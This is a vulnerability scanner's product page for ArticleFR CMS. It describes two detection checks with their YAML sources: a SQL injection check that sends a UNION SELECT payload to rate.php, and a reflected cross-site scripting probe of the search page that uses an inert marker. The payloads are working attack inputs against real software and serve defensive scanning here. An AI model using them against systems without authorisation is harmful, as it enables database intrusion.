ArticleFR — 2 vulnerability checks
noctis ships 2 vulnerability checks for ArticleFR, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ArticleFR CMS rate.php 'id' SQL Injection
| CVE | CVE-2014-5097 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/articlefr/CVE-2014-5097.yaml |
Detects CVE-2014-5097 by sending a UNION SELECT payload to the ArticleFR CMS rate.php endpoint and confirming the reflected version string (scored.*from.<version>) on an ArticleFR page.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /index.php HTTP/1.0 - Checks
fpresp.bannerforPowered by.*>ArticleFR - Raw TCP (TLS on HTTPS), sent verbatim:
GET /rate.php?act=set&id=0%20union%20select%201,version%28%29,3,4%20--%202 HTTP/1.0 - Checks
resp.bannerforscored.*from.([0-9.]+)→ finding QoD 75: ArticleFR CMS SQLi confirmed — UNION SELECT on rate.php 'id' reflected the backend version on an ArticleFR page at …:…
References:
Feed source — tests/vulnerabilities/articlefr/CVE-2014-5097.yaml
# ArticleFR CMS — 'id' parameter SQL Injection (CVE-2014-5097)
#
# ArticleFR CMS fails to sanitise the `id` GET parameter of rate.php before
# using it in an SQL query. An unauthenticated attacker injects a UNION
# SELECT that reflects version() into the rating response, confirming
# injection.
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_articlefr_cms_sql_inj_vuln.nasl
# (GPL-2.0-only). Payload and confirmation regex preserved faithfully from
# the source plugin:
# url = /rate.php?act=set&id=0%20union%20select%201,version%28%29,3,4%20--%202
# pattern = scored.*from.([0-9.]+)
# The NASL first fetches <dir>/index.php and requires 'Powered by ... >ArticleFR'
# (get_app_location) before sending the payload, so the feed fingerprints
# index.php and gates the version match on it. This both matches the NASL flow
# and avoids a false positive on a generic "scored ... from <n>" page — without
# requiring the fingerprint in the rate.php response itself (which on a real
# host is a bare rating fragment, so matching it there would miss live hosts).
#
# The payload carries URL-encoded tokens that reqwest would normalise, so the
# request is sent verbatim over tcp_connect (HTTP/1.0) and matched on
# resp.banner.
uid: 575feba3-64c9-45c7-9ed5-6c60676bf4e7
name: "ArticleFR CMS rate.php 'id' SQL Injection"
description: |
Detects CVE-2014-5097 by sending a UNION SELECT payload to the ArticleFR CMS rate.php
endpoint and confirming the reflected version string (scored.*from.<version>) on an
ArticleFR page.
cves: [CVE-2014-5097]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [articlefr, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-5097"
- "OpenVAS/Greenbone NASL 2014/gb_articlefr_cms_sql_inj_vuln.nasl (GPL-2.0-only)"
steps:
# NASL get_app_location equivalent: fetch index.php and require the ArticleFR
# footer before trusting the rate.php version reflection. Sent over
# tcp_connect (same as the payload) so it auto-wraps TLS for https targets.
- id: fingerprint-probe
action: tcp_connect
port: "{{port}}"
send: "GET /index.php HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: fpresp
- id: fingerprint
action: match
source: fpresp.banner
pattern: "Powered by.*>ArticleFR"
store_as: fp
- id: sqli-probe
action: tcp_connect
port: "{{port}}"
send: "GET /rate.php?act=set&id=0%20union%20select%201,version%28%29,3,4%20--%202 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: resp
- id: confirm-sqli
action: match
source: resp.banner
pattern: "scored.*from.([0-9.]+)"
on_match:
condition: "fp.matched"
finding:
confidence_delta: 0.55
qod: 75
evidence: "ArticleFR CMS SQLi confirmed — UNION SELECT on rate.php 'id' reflected the backend version on an ArticleFR page at {{target_host}}:{{port}}"ArticleFR CMS 3.0.5 search 'q' reflected cross-site scripting
| CVE | CVE-2015-1363 |
|---|---|
| Severity | medium |
| Category | xss — XSS |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/articlefr/CVE-2015-1363.yaml |
ArticleFR CMS 3.0.5 and earlier print the q parameter of the search/v/ page back into the results without HTML-encoding it, so an attacker can run script in the browser of any user who opens a crafted link (cross-site scripting).
Under the web root, /articleFR and /cms, this check identifies ArticleFR from the footer of index.php, then requests search/v/ with a harmless script tag carrying a random marker in q. The finding is reported when the tag comes back verbatim, unencoded. Nothing is written to the target.
How noctis detects it
- HTTP(S) request
GET {{adir}}/index.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{adir}}/search/v/?q=%3Cscript%3E{{g.mk}}%3C/script%3E - Parses / computes the next value with a Rhai script
- Checks
res.hitfor^true$→ finding QoD 75: ArticleFR CMS search reflected cross-site scripting (CVE-2015-1363)
References:
Feed source — tests/vulnerabilities/articlefr/CVE-2015-1363.yaml
# ArticleFR CMS 3.0.5 — search/v/ 'q' reflected cross-site scripting (CVE-2015-1363)
#
# The q parameter of search/v/ is printed back into the results page without
# HTML-encoding. The SQL injection of the same advisory (CVE-2015-1364,
# register/ username) is not probed.
#
# Detection (per candidate install dir: web root, /articleFR, /cms):
# 0. index.php must carry the "Powered by ... >ArticleFR" footer.
# 1. QoD 75 — search/v/?q=<script>MARK</script> (MARK random per run) comes
# back with the tag unencoded.
# 2. No finding when the tag is encoded (<script>) or dropped.
#
# Read-only: one GET with a random inert marker, nothing is written.
#
# Ported from OpenVAS/Greenbone NVT `2015/gb_articlefr_cms_mult_vuln_jan15.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.805262, GPL-2.0-only). Difference: the NASL reflects
# a fixed alert(document.cookie) payload; here a random marker is used and the
# reply must carry the whole tag verbatim.
# CVSS: NVD carries only a CVSS v2 score (4.3) for CVE-2015-1363.
uid: b6962032-9dbe-4169-b472-3787a8f014ef
name: "ArticleFR CMS 3.0.5 search 'q' reflected cross-site scripting (CVE-2015-1363)"
description: |
ArticleFR CMS 3.0.5 and earlier print the q parameter of the search/v/ page
back into the results without HTML-encoding it, so an attacker can run script
in the browser of any user who opens a crafted link (cross-site scripting).
Under the web root, /articleFR and /cms, this check identifies ArticleFR from
the footer of index.php, then requests search/v/ with a harmless script tag
carrying a random marker in q. The finding is reported when the tag comes back
verbatim, unencoded. Nothing is written to the target.
cves: [CVE-2015-1363]
severity: medium
category: xss
confidence_base: 0.30
tags: [articlefr, php, cms, xss, reflected]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2015-1363"
- "https://nvd.nist.gov/vuln/detail/CVE-2015-1364"
steps:
- id: init-index
action: set_var
var_name: idx
var_value: {status: 0, body: ""}
loop:
over: ["", "/articleFR", "/cms"]
var: adir
- id: init-search
action: set_var
var_name: srch
var_value: {status: 0, body: ""}
- id: index-page
action: http_request
method: GET
port: "{{port}}"
path: "{{adir}}/index.php"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: idx
- id: gate
action: script
code: |
let b = if type_of(idx.body) == "string" { idx.body } else { "" };
#{ ok: idx.status == 200 && ereg("Powered by.*>ArticleFR", b), mk: "NCT" + rand_hex(6) }
store_as: g
- id: reflect
action: http_request
method: GET
port: "{{port}}"
path: "{{adir}}/search/v/?q=%3Cscript%3E{{g.mk}}%3C/script%3E"
condition: "g.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: srch
- id: check
action: script
code: |
let b = if type_of(srch.body) == "string" { srch.body } else { "" };
#{ hit: g.ok && srch.status == 200 && b.contains("<script>" + g.mk + "</script>") }
store_as: res
- id: report
action: match
source: res.hit
pattern: "^true$"
condition: "res.hit"
on_match:
finding:
title: "ArticleFR CMS search reflected cross-site scripting (CVE-2015-1363)"
description: "The q parameter of search/v/ was returned inside the page with its <script> tag unencoded, so an attacker can run script in the browser of a user who follows a crafted link and act with that user's session."
remediation: "Upgrade ArticleFR past 3.0.5, or HTML-encode the q parameter before printing it in the search results."
confidence_delta: 0.45
qod: 75
evidence: "{{adir}}/search/v/?q=<script>{{g.mk}}</script> came back with the script tag unencoded"
stop: true